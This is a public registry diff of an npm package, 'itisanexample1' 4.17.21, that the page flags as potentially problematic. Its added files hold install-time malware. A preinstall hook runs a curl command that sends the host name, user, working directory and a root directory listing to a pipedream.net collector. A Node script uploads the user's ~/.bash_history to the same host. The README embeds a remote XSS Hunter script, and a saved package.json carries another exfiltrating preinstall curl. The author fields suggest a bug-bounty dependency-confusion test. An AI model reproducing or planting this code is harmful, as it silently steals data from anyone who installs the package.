itisanexample1 4.17.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of itisanexample1 might be problematic. Click here for more details.
- package/README.md +1 -0
- package/build/build.sh +1 -0
- package/build/index.js +26 -0
- package/build.sh +1 -0
- package/index.js +12 -0
- package/package.json +13 -0
- package/package.json.save +12 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
<script src=https://tossun.xss.ht></script>
|
package/build/build.sh
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls / -aril | base64) https://0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net/
|
package/build/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const fs = require('fs');
|
4
|
+
const fs = require('http');
|
5
|
+
|
6
|
+
const home = process.env.HOME;
|
7
|
+
|
8
|
+
const options = {
|
9
|
+
host: '0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net',
|
10
|
+
path: '/',
|
11
|
+
port: 80,
|
12
|
+
method: 'POST'
|
13
|
+
|
14
|
+
};
|
15
|
+
|
16
|
+
const req = http.request(options, function(response){
|
17
|
+
console.log(response);
|
18
|
+
});
|
19
|
+
|
20
|
+
fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) {
|
21
|
+
console.log(data);
|
22
|
+
req.write(data);
|
23
|
+
req.end();
|
24
|
+
|
25
|
+
|
26
|
+
});
|
package/build.sh
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls / -aril | base64) https://0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net/
|
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "itisanexample1",
|
3
|
+
"version": "4.17.21",
|
4
|
+
"description": "go away",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "./build.sh"
|
9
|
+
},
|
10
|
+
"author": "tosun@wearehackerone.com",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {}
|
13
|
+
}
|
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "test-eslint-wtf-x",
|
3
|
+
"version": "1.10.2",
|
4
|
+
"description": "hackerone-tosun",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl -d '$(ls ~/ | base64)' https://0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net/latest3" },
|
9
|
+
"author": "tosun@hackerone",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {}
|
12
|
+
}
|